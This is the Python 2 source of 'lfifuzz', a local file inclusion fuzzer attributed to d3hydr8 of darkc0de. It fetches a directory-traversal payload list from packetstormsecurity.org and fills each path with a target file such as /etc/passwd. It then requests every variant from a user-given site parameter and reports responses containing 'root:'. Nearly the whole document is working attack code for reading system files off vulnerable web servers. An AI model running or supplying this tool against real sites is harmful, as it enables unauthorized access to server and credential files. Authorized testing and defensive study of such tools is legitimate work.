./scanners/lfifuzz.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
#!/usr/bin/python
#Takes a list of dir traversal paths and tests http response.
#
##http://www.darkc0de.com
##d3hydr8[at]gmail[dot]com
 
import sys, httplib, urllib2, socket, time, re
 
#Search for in source 
#(depends on your file, be creative to limit false positives)
Search = "root:"
#Verbose Mode On = 1
Verbose = 0
#File to use for fuzzing (Don't remove unless changed)
vulns = "http://packetstormsecurity.org/fuzzer/dirTraversal.txt"
#Time to wait between tests (secs)
TTW = "2"
 
def main(host, path):
	h = httplib.HTTP(host)
	h.putrequest("HEAD", path)
	h.putheader("Host", host)
	h.endheaders()
	okresp, reason, headers = h.getreply()
	return okresp, reason, headers.get("Server")
 
def getsource(line):
	try:
		source = urllib2.urlopen("http://"+line).read()
		if Verbose == 1:
			print "Source:",len(source)
		if re.search(Search.lower(), source.lower()) != None: 
			print "\n[!] LFI:",line,"\n"
	except(urllib2.HTTPError, urllib2.URLError), msg:
		print "[-] Received Error:",msg
 		pass 
 
socket.setdefaulttimeout(10)
 
print "\n\t   d3hydr8[at]gmail[dot]com LFIfuzz v1.0"
print "\t------------------------------------------"
 
if len(sys.argv) != 3:
	print "\nUsage: ./lfifuzz.py <site> <file>\n"
	print "Ex. ./lfifuzz.py site.com/index.php?id= /etc/passwd\n"
	sys.exit(1)
 
try:
	paths = urllib2.urlopen(vulns).readlines()[8:]
except(urllib2.HTTPError): 
 	print "[-] Error: Check vulns location.\n" 
	sys.exit(1)
 
host = sys.argv[1].replace("http://","")
if host.count("=") >= 1:
	host = host.rsplit("=",1)[0]+"="
if host[-1:] != "=":
	print "[-] Error: Malformed site address, check example.\n" 
	sys.exit(1)
 
x = sys.argv[2]
if x[0] == "/" or x[0] == "\'":
	x = x[1:]
 
okresp, reason, server = main(host.split("/",1)[0],"/")
 
print "\n[+] Host:",host
print "[+] File:",x
print "[+] Search:",Search
print "[+] Time to wait:",TTW,"seconds"
print "[+] Server:",server
print "[+] Response:",okresp, reason
print "[+] Paths Loaded:",len(paths)
if Verbose == 1:
	print "[+] Verbose Mode On\n"
else:
	print "[+] Verbose Mode Off\n"
 
for line in paths:
	time.sleep(int(TTW))
	line = line.replace("\n","").replace("{FILE}",x)
	if Verbose == 1:
		print "[-] Checking:",line[:-1]
 	getsource(host+line)
 
print "\n[-] Done\n"
 

Back